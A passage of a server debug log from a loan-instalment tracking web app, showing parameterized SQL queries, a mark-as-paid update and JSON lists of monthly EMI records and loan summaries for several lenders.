    loan_id: 11,
    due_date: '2025-07-07T18:30:00.000Z',
    paid_on: '2025-07-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 190,
    loan_id: 11,
    due_date: '2025-08-07T18:30:00.000Z',
    paid_on: '2025-08-07T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 191,
    loan_id: 11,
    due_date: '2025-09-07T18:30:00.000Z',
    paid_on: '2025-09-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 192,
    loan_id: 11,
    due_date: '2025-10-07T18:30:00.000Z',
    paid_on: '2025-10-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 193,
    loan_id: 11,
    due_date: '2025-11-07T18:30:00.000Z',
    paid_on: '2025-11-03T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 194,
    loan_id: 11,
    due_date: '2025-12-07T18:30:00.000Z',
    paid_on: '2025-12-04T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 195,
    loan_id: 11,
    due_date: '2026-01-07T18:30:00.000Z',
    paid_on: '2026-01-04T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 196,
    loan_id: 11,
    due_date: '2026-02-07T18:30:00.000Z',
    paid_on: '2026-02-04T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 197,
    loan_id: 11,
    due_date: '2026-03-07T18:30:00.000Z',
    paid_on: '2026-04-21T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 198,
    loan_id: 11,
    due_date: '2026-04-07T18:30:00.000Z',
    paid_on: '2026-04-20T18:30:00.000Z',
    loan_amount: 23109,
    status: 1
  },
  {
    id: 199,
    loan_id: 11,
    due_date: '2026-05-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 200,
    loan_id: 11,
    due_date: '2026-06-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 201,
    loan_id: 11,
    due_date: '2026-07-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 202,
    loan_id: 11,
    due_date: '2026-08-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 203,
    loan_id: 11,
    due_date: '2026-09-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 204,
    loan_id: 11,
    due_date: '2026-10-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 205,
    loan_id: 11,
    due_date: '2026-11-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 206,
    loan_id: 11,
    due_date: '2026-12-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 207,
    loan_id: 11,
    due_date: '2027-01-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 208,
    loan_id: 11,
    due_date: '2027-02-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 209,
    loan_id: 11,
    due_date: '2027-03-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 210,
    loan_id: 11,
    due_date: '2027-04-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 211,
    loan_id: 11,
    due_date: '2027-05-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 212,
    loan_id: 11,
    due_date: '2027-06-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 213,
    loan_id: 11,
    due_date: '2027-07-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 214,
    loan_id: 11,
    due_date: '2027-08-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 215,
    loan_id: 11,
    due_date: '2027-09-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 216,
    loan_id: 11,
    due_date: '2027-10-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 217,
    loan_id: 11,
    due_date: '2027-11-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 218,
    loan_id: 11,
    due_date: '2027-12-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 219,
    loan_id: 11,
    due_date: '2028-01-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  },
  {
    id: 220,
    loan_id: 11,
    due_date: '2028-02-07T18:30:00.000Z',
    paid_on: null,
    loan_amount: 23109,
    status: 0
  }
]
2026-05-01T04:49:19.765Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-05-01T04:49:19.766Z server-connect:app Executing action step identify
2026-05-01T04:49:19.766Z server-connect:app options: { provider: 'security' }
2026-05-01T04:49:19.766Z server-connect:output identity: 1
2026-05-01T04:49:19.766Z server-connect:app Executing action step restrict
2026-05-01T04:49:19.766Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-01T04:49:19.767Z server-connect:output restrict: undefined
2026-05-01T04:49:19.767Z server-connect:app Executing action step select
2026-05-01T04:49:19.767Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-05-01T04:49:19.769Z server-connect:output list: [
  {
    id: 222,
    loan_id: 12,
    due_date: '2023-03-04T18:30:00.000Z',
    paid_on: '2023-03-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 223,
    loan_id: 12,
    due_date: '2023-04-04T18:30:00.000Z',
    paid_on: '2023-04-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 224,
    loan_id: 12,
    due_date: '2023-05-04T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 225,
    loan_id: 12,
    due_date: '2023-06-04T18:30:00.000Z',
    paid_on: '2023-06-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 226,
    loan_id: 12,
    due_date: '2023-07-04T18:30:00.000Z',
    paid_on: '2023-07-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 227,
    loan_id: 12,
    due_date: '2023-08-04T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 228,
    loan_id: 12,
    due_date: '2023-09-04T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 229,
    loan_id: 12,
    due_date: '2023-10-04T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 230,
    loan_id: 12,
    due_date: '2023-11-04T18:30:00.000Z',
    paid_on: '2023-11-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 231,
    loan_id: 12,
    due_date: '2023-12-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 232,
    loan_id: 12,
    due_date: '2024-01-04T18:30:00.000Z',
    paid_on: '2024-01-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 233,
    loan_id: 12,
    due_date: '2024-02-04T18:30:00.000Z',
    paid_on: '2024-02-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 234,
    loan_id: 12,
    due_date: '2024-03-04T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 235,
    loan_id: 12,
    due_date: '2024-04-04T18:30:00.000Z',
    paid_on: '2024-04-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 236,
    loan_id: 12,
    due_date: '2024-05-04T18:30:00.000Z',
    paid_on: '2024-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 237,
    loan_id: 12,
    due_date: '2024-06-04T18:30:00.000Z',
    paid_on: '2024-06-06T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 238,
    loan_id: 12,
    due_date: '2024-07-04T18:30:00.000Z',
    paid_on: '2024-07-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 239,
    loan_id: 12,
    due_date: '2024-08-04T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 240,
    loan_id: 12,
    due_date: '2024-09-04T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 241,
    loan_id: 12,
    due_date: '2024-10-04T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 242,
    loan_id: 12,
    due_date: '2024-11-04T18:30:00.000Z',
    paid_on: '2024-11-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 243,
    loan_id: 12,
    due_date: '2024-12-04T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 244,
    loan_id: 12,
    due_date: '2025-01-04T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 245,
    loan_id: 12,
    due_date: '2025-02-04T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 246,
    loan_id: 12,
    due_date: '2025-03-04T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 247,
    loan_id: 12,
    due_date: '2025-04-04T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 248,
    loan_id: 12,
    due_date: '2025-05-04T18:30:00.000Z',
    paid_on: '2025-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 249,
    loan_id: 12,
    due_date: '2025-06-04T18:30:00.000Z',
    paid_on: '2025-06-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 250,
    loan_id: 12,
    due_date: '2025-07-04T18:30:00.000Z',
    paid_on: '2025-07-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 251,
    loan_id: 12,
    due_date: '2025-08-04T18:30:00.000Z',
    paid_on: '2025-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 252,
    loan_id: 12,
    due_date: '2025-09-04T18:30:00.000Z',
    paid_on: '2025-09-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 253,
    loan_id: 12,
    due_date: '2025-10-04T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 254,
    loan_id: 12,
    due_date: '2025-11-04T18:30:00.000Z',
    paid_on: '2025-11-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 255,
    loan_id: 12,
    due_date: '2025-12-04T18:30:00.000Z',
    paid_on: '2025-12-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 256,
    loan_id: 12,
    due_date: '2026-01-04T18:30:00.000Z',
    paid_on: '2026-01-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 257,
    loan_id: 12,
    due_date: '2026-02-04T18:30:00.000Z',
    paid_on: '2026-02-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 258,
    loan_id: 12,
    due_date: '2026-03-04T18:30:00.000Z',
    paid_on: '2026-03-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 259,
    loan_id: 12,
    due_date: '2026-04-04T18:30:00.000Z',
    paid_on: '2026-04-20T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 260,
    loan_id: 12,
    due_date: '2026-05-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 261,
    loan_id: 12,
    due_date: '2026-06-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 262,
    loan_id: 12,
    due_date: '2026-07-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 263,
    loan_id: 12,
    due_date: '2026-08-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 264,
    loan_id: 12,
    due_date: '2026-09-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 265,
    loan_id: 12,
    due_date: '2026-10-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 266,
    loan_id: 12,
    due_date: '2026-11-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 267,
    loan_id: 12,
    due_date: '2026-12-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 268,
    loan_id: 12,
    due_date: '2027-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 269,
    loan_id: 12,
    due_date: '2027-02-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  }
]
2026-05-01T04:49:24.809Z server-connect:router Serving serverConnect /api/emis/mark-emi-paid
2026-05-01T04:49:24.810Z server-connect:app Executing action step identify
2026-05-01T04:49:24.810Z server-connect:app options: { provider: 'security' }
2026-05-01T04:49:24.810Z server-connect:output identity: 1
2026-05-01T04:49:24.810Z server-connect:app Executing action step restrict
2026-05-01T04:49:24.810Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-01T04:49:24.811Z server-connect:output restrict: undefined
2026-05-01T04:49:24.811Z server-connect:app Executing action step update
2026-05-01T04:49:24.811Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [ [Object], [Object] ],
    table: 'loan_details',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `loan_details` set `paid_on` = ?, `status` = ? where `id` = ? and `loan_id` = ?',
    params: [ [Object], [Object], [Object] ]
  }
}
2026-05-01T04:49:24.812Z server-connect:output update: { affected: 1 }
2026-05-01T04:49:25.032Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-05-01T04:49:25.033Z server-connect:app Executing action step identify
2026-05-01T04:49:25.033Z server-connect:app options: { provider: 'security' }
2026-05-01T04:49:25.034Z server-connect:output identity: 1
2026-05-01T04:49:25.034Z server-connect:app Executing action step restrict
2026-05-01T04:49:25.034Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-01T04:49:25.034Z server-connect:router Serving serverConnect /api/emis/get-loans
2026-05-01T04:49:25.034Z server-connect:output restrict: undefined
2026-05-01T04:49:25.035Z server-connect:app Executing action step select
2026-05-01T04:49:25.035Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'loan_details' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `loan_id`, `due_date`, `paid_on`, `loan_amount`, `status` from `loan_details` where `loan_details`.`loan_id` = ?'
  }
}
2026-05-01T04:49:25.035Z server-connect:app Executing action step identify
2026-05-01T04:49:25.035Z server-connect:app options: { provider: 'security' }
2026-05-01T04:49:25.035Z server-connect:output identity: 1
2026-05-01T04:49:25.035Z server-connect:app Executing action step restrict
2026-05-01T04:49:25.035Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-05-01T04:49:25.036Z server-connect:output list: [
  {
    id: 222,
    loan_id: 12,
    due_date: '2023-03-04T18:30:00.000Z',
    paid_on: '2023-03-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 223,
    loan_id: 12,
    due_date: '2023-04-04T18:30:00.000Z',
    paid_on: '2023-04-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 224,
    loan_id: 12,
    due_date: '2023-05-04T18:30:00.000Z',
    paid_on: '2023-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 225,
    loan_id: 12,
    due_date: '2023-06-04T18:30:00.000Z',
    paid_on: '2023-06-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 226,
    loan_id: 12,
    due_date: '2023-07-04T18:30:00.000Z',
    paid_on: '2023-07-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 227,
    loan_id: 12,
    due_date: '2023-08-04T18:30:00.000Z',
    paid_on: '2023-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 228,
    loan_id: 12,
    due_date: '2023-09-04T18:30:00.000Z',
    paid_on: '2023-09-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 229,
    loan_id: 12,
    due_date: '2023-10-04T18:30:00.000Z',
    paid_on: '2023-10-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 230,
    loan_id: 12,
    due_date: '2023-11-04T18:30:00.000Z',
    paid_on: '2023-11-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 231,
    loan_id: 12,
    due_date: '2023-12-04T18:30:00.000Z',
    paid_on: '2023-12-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 232,
    loan_id: 12,
    due_date: '2024-01-04T18:30:00.000Z',
    paid_on: '2024-01-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 233,
    loan_id: 12,
    due_date: '2024-02-04T18:30:00.000Z',
    paid_on: '2024-02-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 234,
    loan_id: 12,
    due_date: '2024-03-04T18:30:00.000Z',
    paid_on: '2024-03-06T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 235,
    loan_id: 12,
    due_date: '2024-04-04T18:30:00.000Z',
    paid_on: '2024-04-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 236,
    loan_id: 12,
    due_date: '2024-05-04T18:30:00.000Z',
    paid_on: '2024-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 237,
    loan_id: 12,
    due_date: '2024-06-04T18:30:00.000Z',
    paid_on: '2024-06-06T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 238,
    loan_id: 12,
    due_date: '2024-07-04T18:30:00.000Z',
    paid_on: '2024-07-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 239,
    loan_id: 12,
    due_date: '2024-08-04T18:30:00.000Z',
    paid_on: '2024-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 240,
    loan_id: 12,
    due_date: '2024-09-04T18:30:00.000Z',
    paid_on: '2024-09-02T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 241,
    loan_id: 12,
    due_date: '2024-10-04T18:30:00.000Z',
    paid_on: '2024-10-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 242,
    loan_id: 12,
    due_date: '2024-11-04T18:30:00.000Z',
    paid_on: '2024-11-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 243,
    loan_id: 12,
    due_date: '2024-12-04T18:30:00.000Z',
    paid_on: '2024-12-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 244,
    loan_id: 12,
    due_date: '2025-01-04T18:30:00.000Z',
    paid_on: '2025-01-05T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 245,
    loan_id: 12,
    due_date: '2025-02-04T18:30:00.000Z',
    paid_on: '2025-02-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 246,
    loan_id: 12,
    due_date: '2025-03-04T18:30:00.000Z',
    paid_on: '2025-03-07T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 247,
    loan_id: 12,
    due_date: '2025-04-04T18:30:00.000Z',
    paid_on: '2025-04-03T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 248,
    loan_id: 12,
    due_date: '2025-05-04T18:30:00.000Z',
    paid_on: '2025-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 249,
    loan_id: 12,
    due_date: '2025-06-04T18:30:00.000Z',
    paid_on: '2025-06-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 250,
    loan_id: 12,
    due_date: '2025-07-04T18:30:00.000Z',
    paid_on: '2025-07-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 251,
    loan_id: 12,
    due_date: '2025-08-04T18:30:00.000Z',
    paid_on: '2025-08-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 252,
    loan_id: 12,
    due_date: '2025-09-04T18:30:00.000Z',
    paid_on: '2025-09-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 253,
    loan_id: 12,
    due_date: '2025-10-04T18:30:00.000Z',
    paid_on: '2025-10-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 254,
    loan_id: 12,
    due_date: '2025-11-04T18:30:00.000Z',
    paid_on: '2025-11-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 255,
    loan_id: 12,
    due_date: '2025-12-04T18:30:00.000Z',
    paid_on: '2025-12-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 256,
    loan_id: 12,
    due_date: '2026-01-04T18:30:00.000Z',
    paid_on: '2026-01-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 257,
    loan_id: 12,
    due_date: '2026-02-04T18:30:00.000Z',
    paid_on: '2026-02-04T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 258,
    loan_id: 12,
    due_date: '2026-03-04T18:30:00.000Z',
    paid_on: '2026-03-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 259,
    loan_id: 12,
    due_date: '2026-04-04T18:30:00.000Z',
    paid_on: '2026-04-20T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 260,
    loan_id: 12,
    due_date: '2026-05-04T18:30:00.000Z',
    paid_on: '2026-05-01T18:30:00.000Z',
    loan_amount: 22031,
    status: 1
  },
  {
    id: 261,
    loan_id: 12,
    due_date: '2026-06-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 262,
    loan_id: 12,
    due_date: '2026-07-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 263,
    loan_id: 12,
    due_date: '2026-08-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 264,
    loan_id: 12,
    due_date: '2026-09-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 265,
    loan_id: 12,
    due_date: '2026-10-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 266,
    loan_id: 12,
    due_date: '2026-11-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 267,
    loan_id: 12,
    due_date: '2026-12-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 268,
    loan_id: 12,
    due_date: '2027-01-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  },
  {
    id: 269,
    loan_id: 12,
    due_date: '2027-02-04T18:30:00.000Z',
    paid_on: null,
    loan_amount: 22031,
    status: 0
  }
]
2026-05-01T04:49:25.037Z server-connect:output restrict: undefined
2026-05-01T04:49:25.037Z server-connect:app Executing action step custom
2026-05-01T04:49:25.038Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT \n' +
      '    lm.id,\n' +
      '    lm.loan_name,\n' +
      '    lm.starting_date,\n' +
      '    lm.ending_date,\n' +
      '    lm.total_amount AS principle_amount,\n' +
      '    lm.no_of_emi,\n' +
      '    lm.interest_amount,\n' +
      '    c.name AS loan_type,\n' +
      '    c1.name AS loan_provider,\n' +
      '    lm.due_date,\n' +
      '    lm.emi_amount,\n' +
      '\n' +
      '    COUNT(ld.id) AS total_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN 1 ELSE 0 END) AS total_pending_emi,\n' +
      '\n' +
      '    SUM(CASE WHEN ld.status = 0 THEN ld.loan_amount ELSE 0 END) AS total_remaining_amount,\n' +
      '   \n' +
      '    SUM(CASE WHEN ld.status = 1 THEN ld.loan_amount ELSE 0 END) AS total_paid_amount,\n' +
      '\n' +
      '    -- ✅ % Loan Paid\n' +
      '    ROUND(\n' +
      '    CASE \n' +
      '        WHEN lm.no_of_emi > 0\n' +
      '        THEN (\n' +
      '            SUM(CASE WHEN ld.status = 1 THEN 1 ELSE 0 END)\n' +
      '            / lm.no_of_emi\n' +
      '        ) * 100\n' +
      '        ELSE 0\n' +
      '    END\n' +
      ',2) AS percentage_paid\n' +
      'FROM loan_master lm\n' +
      'INNER JOIN collections c \n' +
      '    ON c.id = lm.loan_type \n' +
      'INNER JOIN collections c1 \n' +
      '    ON c1.id = lm.loan_provider \n' +
      'LEFT JOIN loan_details ld \n' +
      '    ON ld.loan_id = lm.id\n' +
      'WHERE lm.status = 0\n' +
      'GROUP BY lm.id;',
    params: []
  }
}
2026-05-01T04:49:25.039Z server-connect:output list: [
  {
    id: 9,
    loan_name: 'Hero Fincorp',
    starting_date: 2022-06-07T18:30:00.000Z,
    ending_date: 2027-05-07T18:30:00.000Z,
    principle_amount: 511100,
    no_of_emi: 60,
    interest_amount: 389740,
    loan_type: 'Personal Loan',
    loan_provider: 'Hero Fincorp',
    due_date: '8th',
    emi_amount: 15014,
    total_emi: 60,
    total_pending_emi: '12',
    total_remaining_amount: 180168,
    total_paid_amount: 720672,
    percentage_paid: '80.00'
  },
  {
    id: 10,
    loan_name: 'Slashash Tech',
    starting_date: 2023-03-04T18:30:00.000Z,
    ending_date: 2026-02-01T18:30:00.000Z,
    principle_amount: 600000,
    no_of_emi: 36,
    interest_amount: 57111,
    loan_type: 'Home Loan',
    loan_provider: 'Slashash Tech',
    due_date: '5th',
    emi_amount: 18243,
    total_emi: 36,
    total_pending_emi: '3',
    total_remaining_amount: 54729,
    total_paid_amount: 602019,
    percentage_paid: '91.67'
  },
  {
    id: 11,
    loan_name: 'Fullerton India',
    starting_date: 2023-02-14T18:30:00.000Z,
    ending_date: 2028-03-14T18:30:00.000Z,
    principle_amount: 1015638,
    no_of_emi: 60,
    interest_amount: 379332,
    loan_type: 'Personal Loan',
    loan_provider: 'Fullerton India',
    due_date: '5th',
    emi_amount: 23109,
    total_emi: 60,
    total_pending_emi: '22',
    total_remaining_amount: 508398,
    total_paid_amount: 878142,
    percentage_paid: '63.33'
  },
  {
    id: 12,
    loan_name: 'Kotak Mahindra',
    starting_date: 2023-02-16T18:30:00.000Z,
    ending_date: 2027-01-16T18:30:00.000Z,
    principle_amount: 750000,
    no_of_emi: 48,
    interest_amount: 307000,
    loan_type: 'Personal Loan',
    loan_provider: 'Kotak Mahindra Bank',
    due_date: '2nd',
    emi_amount: 22031,
    total_emi: 48,
    total_pending_emi: '9',
    total_remaining_amount: 198279,
    total_paid_amount: 859209,
    percentage_paid: '81.25'
  },
  {
    id: 18,
    loan_name: 'IND Money',
    starting_date: 2023-08-14T18:30:00.000Z,
    ending_date: 2026-08-01T18:30:00.000Z,
    principle_amount: 155040,
    no_of_emi: 36,
    interest_amount: 37056,
    loan_type: 'Personal Loan',
    loan_provider: 'IND Money',
    due_date: '2nd',
    emi_amount: 5336,
    total_emi: 36,
    total_pending_emi: '4',
    total_remaining_amount: 21344,
    total_paid_amount: 170752,
    percentage_paid: '88.89'
  }
]
2026-05-01T04:49:34.173Z server-connect:router Serving serverConnect /api/emis/emi-list
2026-05-01T04:49:34.174Z server-connect:app Executing action step identify
2026-05-01T04:49:34.174Z server-connect:app options: { provider: 'security' }
2026-05-01T04:49:34.174Z server-connect:output identity: 1
2026-05-01T04:49:34.174Z server-connect:app Executing action step restrict
2026-05-01T04:49:34.174Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
